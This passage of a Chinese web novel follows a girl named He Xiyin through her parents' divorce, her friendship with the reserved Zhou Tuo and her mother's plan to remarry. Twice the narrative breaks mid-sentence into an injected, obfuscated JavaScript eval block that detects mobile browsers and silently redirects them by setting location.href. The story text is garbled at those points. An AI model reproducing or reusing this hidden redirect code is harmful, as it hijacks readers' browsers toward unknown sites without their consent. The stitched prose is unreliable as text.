当晚,她回家翻开那本名为《机器人观察日记》的本子。 随着两人渐渐熟悉,何希音的日记本正式更名为《机器人观察日记》,她坚信周拓是个没得感情的学习机器。 周承安说这是小男生装酷,让她别和周拓一般见识。 何希音不这么认为。 班上有装酷的男生,那些男生头脑简单,做事鲁莽,什么都不懂却装得很懂,和他们说两句,故意只回半句。 周拓不一样,他说话直接,没什么表情,冷冰冰的,但能感觉出他不是故意这样,怎么想的就怎么做,他的淡漠是骨子里带的,也可能是和班上同学没什么共同话题,所以很沉默。 但今天这个想法有些动摇。 ‘10月11日天气:小雨转晴心情:大晴’ ‘今天周拓带我看了‘彩虹轨迹’,水蒸气含量高的时候,飞机划过天空尾部的航迹云会变成一条彩虹。’ ‘今日机器人怀疑度:0!’ ‘我好厉害!’ ‘我可以把人类情感输进机器人的脑袋!’ 何希音在末尾不忘狠狠夸奖自己。 — 何乐仪是体校的长跑教练,周末也要去学校参加训练,偶尔还会陪着运动员去外省参加比赛。 对牧辽而言,一个月,他有半个月都在外地出差。 搬到南浦街,何希音大部分时间都在周家。 早上,父母送她去学校,中午她跟周拓回家,在周家吃午饭,下午去上课,放学又和周拓回家,一直到完成作业才回家。 牧辽提出像之前那样找个晚托班。 周承安却说两个孩子做个伴挺好的,反正他是居家办公,无非是多添双筷子的事罢了。牧辽把寄晚托的钱给周承安,周承安再三推辞,还是收下了。但都以各种礼物回到何希音手里。 何希音是个念旧又不喜欢改变的人。 但在周承安的糖衣炮-弹攻势下,她忘却转学搬家的伤心,认识了很多新朋友,融入南浦街。 可惜好景不长,刚忘掉转学的难过,新的改变又出现。 这次改变发生在她家里。 发生在父母之间。 和她有关系,又没关系。 她无法反抗,只能接受。 在她十岁这年,牧辽和何乐仪决定离婚了。 何希音不希望两人分开,可要说难过吧,好像也不至于。父母感情很好,鲜少吵架,两人各有各的忙,聚少离多,生活作息逐渐不同频。 原先的家是一栋带院子的叠拼别墅。一层是牧辽的摄影工作室,二层是住宅。别墅在在靠近郊区的地段,学区不好,为了上学,才搬到南浦街。工作室还在那,他时常会过去整理资料,剪辑相片。 何乐仪是长跑教练,每天五点就起床去晨跑,晚上十点准时睡。牧辽的作息完全相反,摄影师的工作不是坐班制,时常中午起,下午去出版社交稿开会,晚上去工作室修照片,凌晨才回家,若是太晚便宿在工作室。 同住一个屋檐下,不出差的日子,两人也不一定能见面。 时间久了,两人少有的交流都是关于孩子,不再好奇对方的生活,不再过问对方的工作,距离越拉越远。 父母迟早要分开。 何希音猜到了。 只是没想到这个消息是周拓告诉她的。 那段日子,父母和往常一样,工作、出差、照顾她,没有争吵,日子平淡到乏味。周拓却很反常,送她两个发卡,一只粉色小熊,一只蓝色小狗。 周拓说:“心情好戴小熊,心情不好戴小狗。” “为什么呢?”何希音捏着发卡翻来覆去地看,“这两个都很可爱啊。戴哪个我的心情都会很好。” 她左边戴一个,右边戴一个:“好看吗?” 周拓点头:“好看。” 何希音问:“那我不能都戴着吗?” 周拓摇头:“分开戴。我才能知道你现在开心还是难过。” 何希音摘下两个发卡揣进兜里,拍他肩膀,笑嘻嘻的:“哈!是不是终于发现自己是个读不懂人类感情的机器人?!” 周拓沉默,神情复杂地看着她。纠结的唇线绷直,眉头微锁,清澈的眼眸浸染哀伤还有些许怜惜。 何希音看不懂。 第一次怀疑自己也是机器人。 “周拓。你怎么了嘛!”何希音笑着戳他。她隐隐不安,嘴却咧到太阳穴,故意扯出夸张的笑容,手肘边戳,边逗弄,“你到底怎么了嘛!” 她不喜欢这样奇怪的氛围。 周拓笑了笑说:“没事。” 他的笑容很勉强,语气也轻,似淅沥小雨,落在地上瞬间不见,只有坠落的那声滴答证明它存在过。 两个发夹能有什么用? 何希音琢磨一路,到家也没想出头绪。 周拓却用实际行动回答她。 只要她戴上蓝色小狗,周拓会从机器人暂时变回人类。 有时是替她跑腿交作业。 有时是一罐冰冰凉凉、甜丝丝,冒着气泡的柠檬苏打水。 有时是一颗薄荷糖。 — 这天,何希音刚推开家门,就瞧见牧辽和何乐仪在客厅对坐,两人低着头,对着面前的纸愁容满面,一会这个叹气,一会那个叹气。 这天终于要来了吗? 两人全神贯注地看那张纸,谁也没注意到何希音已经回家,就站在玄关。她推开门,悄悄退出去,又轻轻合上门,像什么都没发生一样。 她去周拓家。 周拓有些意外:“叔叔阿姨还没回家吗?” “还没有。”何希音局促地搓手,“我能在你家多待一会吗?” “当然。”周拓侧身。 两人坐在书桌前预习功课,周拓注意到她头顶戴着蓝色发卡。他打了个响指:“心情不好?” “啊?”何希音在走神,嘴微张,许久才反应过来,匆匆摘下发卡,“我……我拿错了。我没有不开心。” 她摸口袋,拿出粉色小熊戴上。 周拓却说:“我学了个魔术。要看吗?” “好啊。”她抬头。 “你有硬币吗?”周拓侧过身。 “有。”何希音掏兜,“你要一块的?还是五毛的?” “都行。” 何希音拿出一枚一元硬币放在他手掌:“正面是字,反面是菊花。我记住了。” 周拓笑:“不用记这个。” “啊?” “你记也行。” 周拓两只手掌贴合成筛盅,左摇右晃,忽然伸出手,两手都擦过她耳侧,毫无预兆地松手,在左右两侧各打了个响指。 何希音愣住,左看右瞧。 周拓展开手掌,左手右手都是空的。 他下颌微点,示意她低头。 何希音不明所以地掏兜。 原本空荡的衣兜多出一枚硬币。但不是方才那枚,是一枚附近电玩店的游戏币。游戏币反面是店名,正面是一枚笑脸。 周拓说:“心情好点没?” 何希音轻笑,很快又绷直唇线,故作不满:“我的一元硬币没了呢!” 周拓又打了个响指,摊开手掌:“在这。” 何希音收回硬币:“我想去打电玩。” “走吧。”周拓起身背包,没有丝毫犹豫。 傍晚时分,电玩店聚满人,每台机子都有人在等位。 两个人逛了一圈,找到一台人少点的钓-鱼-机。 游戏规则很简单,操作电动摇杆,屏幕里的鱼竿会随之晃动,在屏幕里的小鱼游到钓竿附近,按下下钩键。玩法和娃娃机相似,但娃娃机的奖品看得见,这个游戏的钓竿在电子屏里,店家的操作性更强,钓中小鱼得到的也是一只娃娃。 玩这个不如去玩娃娃机。 才没什么人玩。 “玩这个吧。”何希音排队,仔细观察前面的人怎么操作。 周拓环顾四周:“那边的娃娃机人不多了。” 何希音摇头:“不。我想玩这个。” “嗯。”周拓陪着等。 钓-鱼-机在店的角落,前面的人离开后,再没人来玩,小角落只剩两人,在各种吵闹的音乐和叫喊喝彩中,这里像个世外桃源。 何希音坐下,没有马上投币。 周拓指着屏幕:“店家设置了参数,鱼钩下落的瞬间,鱼会往两边跑,所以你要提前……” “你是不是知道我爸妈要离婚了?”何希音打断。 周拓两手插兜,神情复杂,许久没回答。 何希音侧目:“你知道对吗?所以这段日子才会这样。” 周拓以沉默回答。 何希音问:“是周叔叔说的吗?” “不算吧。” “他怎么说的?” “前一阵,牧叔叔总来找我爸聊天,提到这事。”周拓顿了一会,“我听到了。” “你……”还好吗? 周拓想问,又没有勇气,除了会变戏法,他再没有安慰她的招数。 何希音也害怕他问,她不需要被怜惜,不需要安慰,不想聊这事,强硬地转走话题:“今天周五呢!天天写作业,我头都大了。明天是周末,我今天要多玩几把。” “我去换游戏币。” “好。你快去吧。我在这里等你回来哟~” 周拓走向柜台。 待他捧着一小筐游戏币回来,钓-鱼-机前面的位置已经空了,屏幕上显示—— ‘Gameover’ ~ 何希音揣着满怀心事地走回家,两腿像绑了米袋,每一步都无比沉重,走得很慢,很慢,她多希望这条路一辈子也走不完。 再次打开家门。 父母似乎已整理好情绪,桌上的纸不见了,桌上没有饭菜,何乐仪说:“今天有点事,一会出去买现成的打包回来。” 牧辽接过书包:“希音,你来,坐在这,我们有点事想和你商量。” 何希音抢着开口:“我知道你们要离婚了对吗?” 两人的表情凝固,面面相觑,被这突如其来的问题击懵,谁也没回答,只有很轻的叹息。 何希音说:“不用和我商量。这是你们的事,决定好就可以了。我和爸爸生活,和妈妈生活都可以。我没意见。” 牧辽摇头:“不。这是你的事。” “这两年,你也看到了,我和妈妈的生活作息不同,很难一起生活。但我们对你的爱从没变过。哪怕是这刻。你有权发表你的意见。你可以选择和我们其中一方生活,也可以选择继续一起生活。” 何乐仪也蹲下,温柔解释:“如果你选择继续这样,对我们来说会有点难,但我和爸爸会努力克服。” 何希音摇头:“我不会。我希望你们开心。” “谢谢你。”牧辽捏了捏她的脸,“爸爸的工作需要经常出差。妈妈比我更合适照顾你。你的学校不能再换了,所以要继续和妈妈住在南浦街。” “我会慢慢搬回原来的房子。” “你想爸爸的时候要给我打电话,我不出差的时候会来带你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239425|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去玩。这样可以吗?” “可以!”何希音点头。 何乐仪说:“我和爸爸不会马上去办手续。我们先这样试着生活一段,如果你不开心及时说出来。” 何希音又点头。 “我要去写作业了。这周作业超!级!多!”何希音笑容夸张,手势也夸张,“我明天下午要和周拓去公园玩,今天要把作业都写完!” 何乐仪能感觉出她不对劲的情绪,但何希音硬绷着,她一时也想不到更好的语言来解释安慰,先抱住她,又摸了摸她脑袋,就让她进房去写作业。 — 这个周末,何希音哪都没去,一直关在房间看动画,一部接着一部地看。何乐仪和牧辽分别进门来和她谈话,她都以‘她没事’、‘她只是需要一点时间’应付两人。 她第一次这么期盼上学。 学校课程早已安排好,什么都不用考虑,踏进校门,只需要一节接一节地上,放学回家,埋头写作业,睡觉,再等第二天上学。 一日接一日地循环。 这是她目前急需的。 她需要做事来麻木情绪。 她的状态不好,牧辽搬家的事一拖再拖。 何希音缓了一个月,意识到不能再逃避下去。主动提出帮牧辽搬东西。两人坐着货车回到旧家。 离开时种下的柠檬树,如今已结满果子,酸酸的,苦涩的,清新的柠檬味溢满小院。 牧辽拿出钥匙:“我出差的时候,你要记得来这帮我浇花。” 何希音接下任务:“好!” 时间是适应改变的良药。 父母办理离婚手续后,牧辽彻底搬回旧家,从一周两次回家和母女俩吃饭变成一个月一次。 一年后,牧辽极少回南浦街。 周一到周五的上学日,何希音和母亲住在南浦街,周末回旧家,如果牧辽出差,她周末也会去旧家修建浇灌那些花花草草。 他们说的没错。 牧辽和何乐仪对她的爱从没变过,只是换了一种形式,一种对三个人都更好的方式。 牧辽知道周拓这段时间做的事,很是感激,买了一套乐高玩具送他。周拓没收,无论他怎么说,周拓都坚持不收。 他说:“我不能收。” “她是我最好的朋友。” — ‘分别感是人与人在分开的时候产生的一种特殊的感情。’ 这是写在词典里的释义。 初学时,何希音并不懂。夏宜市这么小,从城南到城北,坐最长最慢的公交,也不过两小时。只要坐上公交车,她可以去任何地方,见任何人。 转学时,她经历过一次分别。 有点痛苦,但不多。 以前的朋友,现在还有往来。 可周拓收到‘少先班训练营’邀请书的这天,她却懵了。 周拓说少先班是一种可以提前上大学的途经。训练营考试通过后,每个暑期都要去参加训练营的培训课,等达到少先班的考试年龄就可以报考少先班。 何希音震惊:“你要去上大学了?!” 这个词对她来说太遥远了,她还在考虑初中派位要怎么报名。 周拓摇头:“不是。只是训练营。” 何希音知道他很聪明,知道他什么都会,但没想过他竟然这么聪明?她拿过邀请书翻来覆去地看:“为什么发这个给你?” “谁给你的?” “不会是诈骗吧!” “我看新闻说过这种诱拐儿童的方法,你去了还能回来吗?不会被卖到山里吧?”何希音忽然撸起袖子,气势汹汹的。 周拓笑:“是班主任给我的。” “为什么呢?” “可能是我数学竞赛拿奖了。” “对噢。你拿了一等奖。”她交还邀请函,“你要去考吗?” “会。” “考上你会去上吗?” “考上再说吧。” “你去吧!”何希音对‘少先班’的概念仍是一知半解,但她清楚这种少数人才有的机会一定是很好的,她拍他肩膀,一次比一次用力,一次比一次郑重,“任重而道远啊。少年。” 周拓活动关节:“是是是。我怕我没考上。先被你拍死。” 何希音收回手,笑嘻嘻的:“恭喜你呀。” “谢谢。” “什么时候考?” “下周末。” “我要去买些文具和住宿的东西。要买……” 何希音坐在他面前,看着他的嘴一张一合,耳朵却自动屏蔽掉那些话,周拓是话很少的人,这刻说了好多好多。他也是很期待这个考试的吧。何希音知道该为他高兴,嘴上说着恭喜,心却被挖空了。周拓通过训练营的考试,大概率会分配到最好的初中,就不可能和她一个初中,没有人帮她记作业,没有人教她写数学题,也没有人会陪她看无聊的长剧。 周拓的手在她眼前晃:“你在听吗?” “我在听。”何希音说,“你要去哪里买这些?” “超市。你去吗?” “嗯。一起去吧。” — 十二岁的夏天教会何希音什么叫‘分别感’。这种感觉只存在你和在乎的人之间,是一种对未来的担忧,害怕疏远,害怕失去,害怕不再见面。 这种感觉并没有持续太久。 夏天快结束的时候,何希音在街心公园遇上周拓。 他坐在人力转转车上,低着头,脚尖戳着地面,一下又一下,转盘缓慢转动着。 何希音跑过去:“周拓。你考完了?” “嗯。” “考上了吗?” “大概吧。” “什么意思?” “我没看成绩。” “因为……我不想去了。” 5. 薄荷冰糕 “你不想去了?!”何希音先是震惊,紧接着是一阵升腾的喜悦,气泡水似的,咕噜咕噜地冒泡。周拓在难过,她不能这么没良心。她坐到他身边,两手拄在膝盖,托着下颌,“为什么不想去?” “训练营的题目很难?” “不是。” “同学对你不好?” “也不是。” “那是什么?!”何希音猜不下去了,抓耳挠腮的,迫切地想知道答案,又苦于开口。 “我不知道。”周拓叹息。 周拓是何希音认识的最博学的人,无论面对什么事,他都四平八稳波澜不惊的。他的黑眸像乌木,一节生在深林的乌木,安静沉稳,循着他的节奏,朝着光和热的方向生长。 这是第一次她在他眼里看到迷茫。 像被遮蔽了天日,乌木停滞在原地,不知该前进,还是该扎根。 何希音看得出他的纠结和为难,不再追问,默默陪着他。 许久,周拓开口:“我不知道要学什么。” “第一堂课,老师说了少先班招收的专业和条件。” “那些专业你都不喜欢?”何希音问。 周拓摇头:“我不知道喜不喜欢。” “啊?”何希音也迷茫了,短短几分钟,周拓已经说了三次‘我不知道’,这也太不像他了。 “我对很多事都是三分钟热度。时常变来变去的。” 何希音反驳:“你钢琴考到十级了,也叫三分钟热度?” 周拓耸肩:“考级后,我再也没碰过。” “刚开始学琴,是挺开心的。很快我就没有那种兴奋劲了。考级只是证明我会了。我学会了,但我不喜欢。”周拓解释。 何希音只觉得他是在炫耀,轻嗤:“那书法呢?” “一样。觉得学会了,便没再练了。” “素描也是?” “是。” 连问三个,何希音气得鼻歪嘴斜,这人学什么都全神贯注,不喜欢的东西也能学下去,有这种超能力不懂珍惜,得了便宜还卖乖的态度真让人不爽。 周拓问:“你怎么鼓着嘴?” “不爽啊!啊!!啊!!!”何希音大吼。 周拓往后坐。 何希音冷静下来,哀叹:“以前在少年宫,我学唱歌,老师说我五音不全,上了两节我就没去了。后来学绘画,总是弄脏手腕和袖口,我不喜欢,上了半学期吧。” “算起来。我也学了好多。但哪样都没学下来。” “呜——”她轻呜两声,为浪费的时间假哭。 周拓掏口袋找纸。 何希音停止假哭,像自我安慰,又带着些许夸耀的:“爸爸说我这是懂得及时止损。” “确实。不应该把时间和精力浪费在不喜欢的事上。”周拓表示肯定。 “我听周叔叔说你学琴时,每天都要练习。” “是。” “不喜欢为什么不放弃?” “我不喜欢半途而废。” 好令人震撼的一句话。 坚持做不喜欢的事比深夜走暗巷还难忍,不知前路,又看不见光亮。 周拓却凭着不甘心,硬生生走下去了。 何希音打心眼佩服。 “先去试试呢?”何希音劝,“你有把不喜欢的事坚持下去的勇气,为什么这事这样就放弃了?只是训练营又不是马上要去上大学,先学呗,每科都学,想好选哪个专业再选。你现在学的对考大学也有好处吧?” “有。” “那就去呀!” “明明距离真正考少先班还有几年,一进训练营,那种氛围就让人紧张。他们都知道要选什么。但我不知道。更让我很焦虑。我害怕选错,我害怕做不到。坚持到最后发现是一条错误的路。” 何希音好像有点懂了。她天天喊着想要快点长大,但要是真的告诉她明天就要长大,她会当场吓哭。 “这事你和叔叔阿姨讨论过吗?” “还没。” “你和他们商量一下吧。” “我会的。” 何希音摊手:“周拓。还钱。” 周拓呆住:“什么钱?” 他认真回忆,但一无所获。 何希音说:“妈妈说你去训练营,就不用参加初中派位了,会直接去一中读。我们不能一个初中了。我买了乐高玩具恭喜你拿到训练营资格呢!可贵了!用掉我半年的零花钱呢!” “现在你不去训练营了。记得把钱还我噢。” 周拓乐了:“行吧。” 何希音站起来,两手拍落裤子灰尘。 “你有事?” “啊?我没有啊。” “再陪我坐会吧。” “好喔。” 腾—— 何希音一屁股坐回去,激起尘雾。 阴郁许久的周拓忽然笑了。 何希音不解:“你笑什么啦!” “没事。” “那你还笑!” “你到底在笑什么啊!” “没事。” “啊啊啊!乱讲!”何希音锤他,周拓的笑声却越爽朗。 空气中弥漫快乐因子,笑会传染,何希音捂着肚子笑。 夏天的傍晚,余晖染红天空,云海翻涌,像浓墨重彩的调色盘,风轻轻吹,两人的笑声传了很远很远。 ~ 那天晚上,何希音在线上问他情况。 [希希大王]:你和叔叔阿姨说了吗!! [Tz]:说了 [希希大王]:他们怎么说?你要继续去训练营吗!啊!你直接说嘛。不要像挤牙膏一样,我问一句你说一句的! [希希大王]:[左哼哼.jpg][右哼哼.jpg] [Tz]:我不去了 [Tz]:我会正常地考试、升学,也许会慢一点,但可以有足够的时间去思考我想做什么,我适合什么 [Tz]:希音,谢谢你 [希希大王]:不客气!我们可是bestfriend呢! 过了一会,企鹅标闪动。 周拓发来一个非常不周拓的表情包,是一只非常可爱的卡通小熊举着一朵小红花,配文是‘Thanks~’ 小熊扭动圆滚滚的身体,小红花左右摇摆。 配文闪烁。 周拓亮晶晶的眼睛在她脑海一闪而过。 何希音敲键盘—— [希希大王]:周拓你被什么附身了? [希希大王]:请你速速恢复正常! [希希大王]:急急如律令!我以仙女之名命令你恢复正常! 对话窗沉默着。 她仿佛看见屏幕那边的怪物在吃周拓了。 她发送窗口抖动,紧急呼叫。 [希希大王]:周拓!周拓!! [希希大王]:看到请回复! 周拓没有回文字,又回了个动图表情包。和刚才的小熊是同系列的,这次是一只两手捧着脸的小熊,小熊眨眼说‘ok~’ 很好。玩尬的是吧? 何希音调出表情库里的镇库之宝,超级无敌刷屏长剑,先刷掉他那可爱得冒着粉泡泡的小熊,再发送自己的搞怪表情包。 两人的表情包一来一回地‘打-仗’。 一个搞怪疯癫,一个粉嫩少女心。 表情包刷屏特别快,三四条信息就是一屏。周拓突然发了一句文字,何希音来不及看清,两个表情包就砸过去了。 她滑动鼠标,拉下来—— [Tz]:开学见。 几小时前,班主任在班级群发了初中的派位情况,她和周拓还在一个学校。 她满心欢喜,郑重回—— [希希大王]:开学见。 — 升入初中,何希音在三班,周拓在四班。两个人不同班,住得近常常一起上下学。周拓还在参加各种数学竞赛,他不在学校的日子,何希音的抽屉就是他的收发室,他的作业本、试卷、成绩单、竞赛邀请函通通塞进她抽屉。 竞赛结束,周拓回家,何希音两手环胸,闷闷不乐地坐在桌前。 周拓问:“我的试卷吗?” “是你的。”何希音环胸,故作不满地哼哼,“你的作业本、你的成绩单,还有你的一堆邀请函啊!!!” 她尖声:“你这也太多了吧!” 眼中很羡慕,语气却有点酸。何希音成绩很好,但她参加数学竞赛连门槛分数都没迈过去。 周拓解释:“我在少年宫上过珠心算和奥数班。你没有学过,所以考这种题才会束手无措。竞赛题做多了,就知道其中套路了。” “你说得真轻松。”何希音瘪嘴。 周拓拿作业本卷成筒,敲在她唇上:“想参加竞赛?我可以教你。” 何希音婉拒:“算了。爸爸说学生时代最重要的就是……每一天都要做自己喜欢的,让自己开心的事!” 提起牧辽,她双手捧脸,深深叹息:“爸爸说成年人的世界有很多无奈。快乐要趁现在。他越来越忙了呢,最近很少来找我。妈妈也有自己的事……”她倏地抬眸,咬紧的唇似乎有话要说。 “有事问我?”周拓猜。 何希音耸肩:“没有。” 她数着桌上的竞赛邀请函:“真的好多啊。你要是都参加,那就不用上课了。” “选择性参加吧。” “我什么时候能收到邀请函呢?”何希音两手合十,虔诚祈祷,“我上周去参加英语演讲了呢,不知道能不能进决赛。希望能进。快快给我发决赛通知吧!!” 然而比决赛通知来得更早的是—— 何乐仪要再婚了。 和现在的男友,文学杂刊的主编夏文斌。 夏文斌是周承安的朋友,偶尔会去大学开文学讲座。升入初中后,何希音爱上演讲和辩论,感觉每个站在台上的学长学姐都闪闪发光,他们思维敏捷,自信大方,毫不怯场,面对各种刁难都能侃侃而谈。 她想参加比赛,想拿到名次。 周承安将夏文斌推荐给她当辅导老师。 刚开始是夏文斌来周承安家辅导她。 两人熟悉后,何乐仪会带她去夏文斌那上课。 夏文斌没结婚没孩子,单身一个人住,却买了个超大的四居室。四个房间,一间卧室,三间书房,不止书房,家里的边边角角都放着书柜。 何乐仪笑:“孔夫子搬家净是书。” 夏文斌挠头:“有些是工作需要的工具书,有些是我喜欢的。” 他带着金丝框眼镜,条纹衫,白净个高,文质彬彬的。他比何乐仪还大一岁,何希音都上初中了,他竟然还是单身。何希音很好奇,但不敢问,旁敲侧击地从周承安那打探。 “你和夏叔叔认识很久了吗?” “是啊。十多年了吧。”周承安回忆,“我给他们的杂志画过插图。那时候,他刚研究生毕业,在杂志社实习呢,现在都做到主编了。” “夏叔叔一直一个人吗?” “不是。有过女朋友。但交往时间不长。”周承安分析,“可能是聊不来吧。他腼腆内向,除了读书没什么兴趣爱好,下班回家要么看书,要么一个人去看舞台剧。其中一任就是嫌他太无趣分手的。” 何希音有些意外:“内向?可是我看他家里有辩论赛的奖杯。” “比赛和现实生活不一样吧。”周承安也说不出为什么,夏文斌站上讲台就像换了个人似的,激情昂扬,神采奕奕,台下却寡言少语,总抿着嘴笑。 周承安忽然笑了:“你知道他带女朋友去哪约会吗?” “去哪?”能笑成这样,何希音好奇心地凑近。 周承安说:“去复古剧场看默片。没有对白的黑白老电影。还不是喜剧。特别长,特别长。女生都看睡着了。出来就提分手了。” “什么片子呀?” “忘了。”周承安摸下颌细想,“是一部很久远的科幻片吧。两个多小时,一句对白都没有,你想想,多可怕。” 何希音仰着头,闭着眼睛,努力想象,但想象不出来。 周承安笑:“你去找部默片看就知道有多无聊了。” 当晚,何希音就在视频网找默片看,她实在太好奇了,会是怎样的片子让女生看得睡着,看得崩溃。她只在历史书上看过默片的图片,还没看过真正的默片。没有对白,那两个多小时的剧情全靠表演吗? 她看到书房抽屉放着几盘光碟,全是古早默片的影碟。 咦?家里竟然有这个?! 好奇地抽出来,打开光碟,有几行记号笔写的标注,是夏文斌的字体。她拿着影碟去何乐仪房间,房门一开,何乐仪半躺半坐在床上,房间的电视放的就是默片,是卓别林的喜剧。 她问:“这是夏老师拿来的吗?” “是他的。我找他借的。”何乐仪暂停影片,“你要看吗?” “可以呀。”何希音坐到她身边,两人很久没这样依偎在一起看完一部片子。默片没有对白,但会有一闪而过的字幕,要更集中精神才不会错过细节。 何希音想和她聊点什么,但何乐仪沉浸在片子里,回答总是慢半拍。 “你什么时候去借的影碟?” “昨天。” “你昨天去夏老师家了吗?” “下班遇上聊了几句,顺道去拿了这些影碟。” “这样呀。” 夏文斌是她的辅导老师,何乐仪和他的关联都在自己身上,如今两人跳过她联系,何希音觉得胸口闷闷的,有种说不出的怪异和难受。她挽着母亲的手臂,靠在她肩膀。 在电影快结束的时候,她忽然问:“你会和夏文斌恋爱吗?” 何乐仪愣了几秒。 她侧身,去拿水杯,但没喝,只是握在手里。 一直到电影放完,她才说:“你不喜欢夏文斌吗?” “我……”何希音挠脸,“也没有。我说不上。他当老师是很好的,帮我写稿,推荐我阅读书目。” “只是……” “只是什么?”何乐仪追问。 何希音瘪嘴:“我说不出来。” 何乐仪越追问,何希音越疑惑:“妈。你真的会和他恋爱吗?” 何乐仪答非所问:“你不喜欢他就算了。” 其实这就是母亲的答案了吧。她会。但她没法和何希音直说。何希音也低头不语,手里捧着水杯愣神。 这句话触到何希音心底。 何乐仪有晨练的习惯,仍坚持给何希音做早饭。她五点就起床去跑步,六点回来做饭,六点半叫醒何希音。 小时候,牧辽没那么多出差工作时,会一起做家务,周末两人会把何希音寄在长辈家,手牵手去影院放松。 后来,牧辽时常不在家,何希音承担一部分家务,但周末,何乐仪会一个人去上瑜伽课。两人离婚,她周末仍是一个人去放松去玩乐。 有些事,她作为女儿是没法陪母亲去做的。 何乐仪单身四年了。 谈恋爱是件很正常的事,她应该支持母亲。 何希音花三分钟想通这些事:“你喜欢就去吧。我不介意。” 何乐仪放松许多:“如果有进展我会告诉你。不会瞒着你的。好吗?” “嗯。”何希音点头。 过了会,她想起来:“这事……我能告诉爸爸吗?” 何乐仪嘴角的笑凝固:“暂时不要。” 何希音也应了:“好。” 这事何希音没和牧辽说,没和任何人说,包括周拓。直到知道两人准备结婚了,何希音稍感意外,略显尴尬地应了句‘我知道了’。 何乐仪和夏文斌恋爱,这是在家以外的事,她看不见听不着。两人要结婚,夏文斌要住进家里,她就不能装聋作哑了。 她犹豫良久,决定向周拓求助:“我妈准备结婚了。” “和夏叔叔是吧。”周拓淡然。 “你知道?!”震惊不过两秒,她便反应过来。夏文斌和周承安是好友,这事周家肯定知道,“你怎么都没问我这些事。” “你从没说过。我知道你不想聊这些。”周拓仍是很平静的语气,却很笃定。 “夏叔叔人很好,和善温柔。你如果有什么想法都可以和他说,我想他会接受的。”周拓问,“这样说你会开心些吗?” 何希音摇头:“算了。我怕说不好。” “我帮你说?” “不要!千万不要!”何希音几乎是喊出来的。 周拓忙点头:“我不说了。不说了。” 周拓这个机器人脑袋,思维简单直接,让他去当传话机,一定会出乱子。要是让夏文斌误以为她对两人结婚有意见就糟糕了。 何希音脑中警铃大作,再三强调这事不许周拓插嘴。 “我不会说的。”周拓立誓。 何希音稍安:“今天我爸出差回来,给我带礼物了,还说要亲自下厨呢!我走啦~周拓,拜拜~” ~ 今天是周末不上课,不赶时间,何希音骑了一个多小时赴约。 牧辽仰靠在前院的躺椅上,蒲扇遮住脸,身上盖着薄毯,似是睡沉了。 何希音停车,推进院子,垫着脚走路,动作轻缓,悄无声息地走到他身边,两手抬起,张牙舞爪地扑向他,准备吓他一跳。 方才还直挺挺睡在躺椅上的人这刻掀被,猛地坐起来,白净的脸用油彩涂红,两只眼睛涂抹黑泥,画得花里胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239426|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哨的,色彩浓重,颇为骇人。 何希音大叫:“啊!” 她后退几步,捂着胸口:“爸!你吓死我啦!” 牧辽长睫毛扑闪,眼底的彩墨晕开,像只大花猫,还是打败仗被挠花脸的那种。 何希音笑得合不拢嘴:“你是傻瓜吗?” “你是傻瓜!” “爸爸是大傻瓜!” 她两手叉腰,气鼓鼓的。 因为被吓到,因为牧辽的幼稚,因为夏文斌要住进她的家要成为她的‘新爸爸’。值得生气的事有好多,她鼓着金鱼眼,两盏探照灯似的,死盯牧辽。 牧辽背脊发凉,道歉安抚:“爸爸错啦!下次不吓唬你了。来,进屋吃饭吧。今天我特意去市场买新鲜鲍鱼炖排骨,特别香。” 推开门,炉火上闷着的炖罐咕噜噜的冒泡,满屋飘香。 何希音坐在桌边,端碗吸溜汤汁。 牧辽提醒:“洗手啊!” “哎呀。我又不用手喝汤。” “不行。不行。快去洗手。” 何希音放下汤碗,蹬蹬跑向洗手间,手机在口袋里震动,但她满手泡沫,腾不出手去拿,拧开水龙头先冲干净一只手,拿出手机,划开短信,放在旁边的台子上,边看边继续洗。 是何乐仪发来的—— ‘夏叔叔的朋友送他一盒花胶,他说你最近为考试劳神,准备炖一锅花胶鸡汤给你补补。你和周拓去哪了?早点回家!’ 怎么都挑今天要炖汤给她补! 她赶紧回—— [我会早点回家的。] 紧接着给周拓发—— [我在爸爸这。但我不想让妈妈和夏叔叔知道,他们以为我和你在外面玩呢。你在哪啊?!先别回家,别被他们看到哇!] 周拓收到短信的时候,前脚已踏入小区,看完信息,收回脚,匆匆转身,乘车去图书馆。他坐在公车上,手指快速敲击键盘。 周拓:[你什么时候回家?] 何希音:[不一定。我回家给你发消息。] 周拓:[嗯。我在图书馆待会。] 何希音:[大恩不言谢。] 周拓:[请喊‘拓哥霸气’答谢。] 何希音复制粘贴复制粘贴:[拓哥霸气!拓哥霸气!拓哥超级霸气!] 牧辽端上其他菜:“你乐什么呢?我从豁开的嘴巴看到你的胃了。” 何希音敛笑,咬着牙,唇噘开一条细缝嘟哝:“我才没有。” “吃吧。这都是你爱吃的呢。姜爆鸡、奶芋丸子、菜脯炒蛋,你多吃点。最近爸爸忙,很久没下厨做饭了。下周我带你去科技馆好吗?” “好呀好呀。”何希音狂点头,低头往碗里扒菜。每一道都是她喜欢的,牧辽不知道去哪进修了,厨艺渐长,一口又一口吃得津津有味,碗里白饭消去大半,猛然想起,一会回家还有一桌菜等着她。 她咽唾沫,看着美味佳肴,如鲠在喉。 牧辽拍她后背:“噎着了?” “我……我想喝可乐。可以吗?” “哦~”牧辽会意,“在家妈妈不让你喝,到我这来放纵是吧?” 